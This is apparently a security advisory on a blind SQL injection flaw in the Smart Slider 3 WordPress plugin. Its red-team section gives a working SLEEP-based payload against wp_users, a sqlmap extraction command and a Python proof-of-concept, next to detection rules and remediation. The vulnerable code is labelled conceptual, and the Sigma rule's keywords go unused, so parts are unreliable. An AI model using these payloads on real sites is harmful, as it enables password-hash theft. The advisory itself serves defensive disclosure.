CVE-2025-6348

Executive Summary

CVE-2025-6348 is a time-based blind SQL Injection vulnerability discovered in the Smart Slider 3 WordPress plugin, affecting all versions up to and including 3.5.1.28. The flaw resides in the sliderid parameter, where insufficient input escaping and lack of prepared statements allow an authenticated attacker with Administrator-level privileges to inject arbitrary SQL queries. This can lead to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and configuration data.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The attack requires high privileges (Admin), but the impact is severe due to the potential for complete database compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Administrators should verify the integrity of their plugin installation by checking file hashes against the official source. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate due to the high privilege requirement, the potential for data exfiltration makes it a critical concern for sites with sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the sliderid parameter, likely used in a function that retrieves slider data. The plugin fails to properly escape the user-supplied input and does not use parameterized queries. This allows an attacker to inject SQL commands that are executed in the context of the existing query.

Vulnerable Code Pattern (Conceptual):

$slider_id = $_GET['sliderid'];
$query = "SELECT * FROM wp_nextend_sliders WHERE id = $slider_id";
$result = $wpdb->get_results($query);

Exploitation Mechanism: An attacker can inject a time-based payload to extract data character by character. For example:

1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)

This causes a delay if the condition is true, allowing the attacker to brute-force the admin password hash.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$slider_id = $_GET['sliderid'];
$query = "SELECT * FROM wp_nextend_sliders WHERE id = $slider_id";
$result = $wpdb->get_results($query);

Patched Code (Expected):

$slider_id = intval($_GET['sliderid']);
$query = $wpdb->prepare("SELECT * FROM wp_nextend_sliders WHERE id = %d", $slider_id);
$result = $wpdb->get_results($query);

The patch uses intval() to ensure the input is an integer and $wpdb->prepare() to safely bind the parameter.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Smart Slider 3 <= 3.5.1.28
• Valid Administrator credentials

Exploitation Steps:

1. Authenticate to the WordPress admin panel.
2. Identify a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=nextend_smart_slider3&sliderid=1).
3. Inject a time-based SQL payload:

   1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)
   

4. Observe response delays to confirm injection.
5. Use a tool like sqlmap to automate extraction:

   sqlmap -u "http://target/wp-admin/admin-ajax.php?action=nextend_smart_slider3&sliderid=1" --cookie="wordpress_logged_in=..." --batch --time-sec=5
   

Proof-of-Concept (Python):

import requests
import time

url = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "..."}
payload = "1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)"

start = time.time()
r = requests.get(url, params={"action": "nextend_smart_slider3", "sliderid": payload}, cookies=cookies)
end = time.time()

if end - start > 4:
    print("Vulnerable - Time-based injection confirmed")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual SQL query patterns in database logs.
2. Look for SLEEP() or BENCHMARK() functions in queries.
3. Detect repeated requests to the vulnerable endpoint with varying sliderid values.

Response Actions:

1. Immediately revoke Administrator privileges for suspicious accounts.
2. Disable the Smart Slider 3 plugin until a patch is applied.
3. Review database logs for signs of data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=nextend_smart_slider3 and sliderid containing SQL keywords (e.g., SLEEP, UNION, SELECT).
  • Unusual response times (>5 seconds) from the vulnerable endpoint.

• File IOCs:

  • Modified plugin files in /wp-content/plugins/smart-slider-3/.
  • Suspicious PHP files in the uploads directory.

• Database IOCs:

  • Queries containing SLEEP() or BENCHMARK() functions.
  • Unauthorized SELECT queries on wp_users or wp_options tables.

Detection Engineering

YARA Rule

rule CVE_2025_6348_SmartSlider_SQLi {
    meta:
        description = "Detects SQL injection attempts against Smart Slider 3 sliderid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6348"
    strings:
        $s1 = "sliderid=" nocase
        $s2 = "SLEEP(" nocase
        $s3 = "BENCHMARK(" nocase
        $s4 = "UNION SELECT" nocase
    condition:
        all of ($s1, $s2) or all of ($s1, $s3) or all of ($s1, $s4)
}

Sigma Rule

title: CVE-2025-6348 Smart Slider 3 SQL Injection Attempt
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects time-based SQL injection attempts against Smart Slider 3 plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'action=nextend_smart_slider3'
            - 'sliderid='
    condition: selection
    keywords:
        - 'SLEEP('
        - 'BENCHMARK('
        - 'WAITFOR DELAY'
falsepositives:
    - Legitimate use of slider IDs with numeric values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6348 Smart Slider 3 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nextend_smart_slider3"; http_uri; content:"sliderid="; http_uri; pcre:"/(SLEEP|BENCHMARK|WAITFOR)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict Administrator access to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Long-term Fix:

• Apply the official patch from Nextend when available.
• Upgrade to a patched version (expected > 3.5.1.28).
• Conduct a security audit of all WordPress plugins.

Workaround:

• Add a custom filter to sanitize the sliderid parameter:

  add_filter('nextend_smart_slider3_sliderid', 'intval');
  

Valters IT
Securing Digital Frontiers